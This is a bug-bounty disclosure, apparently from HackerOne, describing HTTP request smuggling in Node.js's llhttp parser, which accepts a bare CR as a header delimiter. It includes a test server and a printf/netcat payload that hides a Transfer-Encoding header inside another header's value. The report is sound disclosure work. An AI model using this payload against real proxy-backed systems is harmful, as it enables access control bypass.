Lucene search

K
hackeroneYadhukrishnamH1:2001873
HistoryMay 25, 2023 - 1:38 p.m.

Node.js: HTTP Request Smuggling via Empty headers separated by CR

2023-05-2513:38:29
yadhukrishnam
hackerone.com
50
http request smuggling
llhttp parser
http module
cr character
hrs
rfc7230
http header fields
buffer concat
frontend proxy
access control bypass
bugbounty

EPSS

0.002

Percentile

59.0%

Summary:
The llhttp parser in the http module in Node v20.2.0 does not strictly use the CRLF sequence to delimit HTTP requests. This can lead to HTTP Request Smuggling (HRS).

Description:
The CR character (without LF) is sufficient to delimit HTTP header fields in the llhttp parser. According to RFC7230 section 3, only the CRLF sequence should delimit each header-field.

Steps To Reproduce:

Server:

const http = require("http");

http
  .createServer((request, response) => {
    let body = [];
    request
      .on("error", (err) => {
        response.end("Request Error: " + err);
      })
      .on("data", (chunk) => {
        body.push(chunk);
      })
      .on("end", () => {
        body = Buffer.concat(body).toString();

        // log the body to stdout to catch the smuggled request
        console.log("Response");
        console.log(request.headers);
        console.log(body);
        console.log("---");

        response.on("error", (err) => {
          // log the body to stdout to catch the smuggled request
          response.end("Response Error: " + err);
        });

        response.end(
          "Body length: " + body.length.toString() + " Body: " + body
        );
      });
  })
  .listen(5000);

Payload:

  1. Execute the below command.
printf "POST / HTTP/1.1\r\n"\
             "Host: localhost:5000\r\n"\
             "X-Abc:\rxTransfer-Encoding: chunked\r\n"\
             "\r\n"\
             "1\r\n"\
             "A\r\n"\
             "0\r\n"\
             "\r\n" | nc localhost 5000
  1. Note that the value of X-Abc header in the request is - [\r]xTransfer-Encoding: chunked[\r\n]
  2. The llhttp library parses this as a Transfer-Encoding: chunked header.
Response
{ host: 'localhost:5000', 'x-abc': '', 'transfer-encoding': 'chunked' }
A
---

Note:

  1. The next character to \r is missing in the parsed header name.
  2. This test case is missing from https://github.com/nodejs/llhttp/blob/main/test/request/invalid.md.

A frontend proxy that does not consider \r as termination of an HTTP header value, could forward this to a backend, causing an HRS.

Supporting Material/References:

This report is similar to:

Impact

HTTP Request Smuggling can lead to access control bypass.